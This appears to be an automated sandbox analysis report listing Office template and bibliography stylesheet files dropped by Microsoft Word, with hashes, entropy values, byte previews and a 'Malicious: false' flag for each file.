Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD88B4.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD88B4.tmp\gosttitle.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD88E5.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD88E5.tmp\harvardanglia2008officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCD8997.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8997.tmp\HexagonRadial.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCD8998.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8998.tmp\chevronaccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCD8999.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8999.tmp\ConvergingText.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCD899A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD899A.tmp\turabian.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCD899B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD899B.tmp\Text Sidebar (Annual Report Red and Black design).docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCD89BD.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD89BD.tmp\architecture.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Local\Temp\TCD89E0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD89E0.tmp\InterconnectedBlockProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
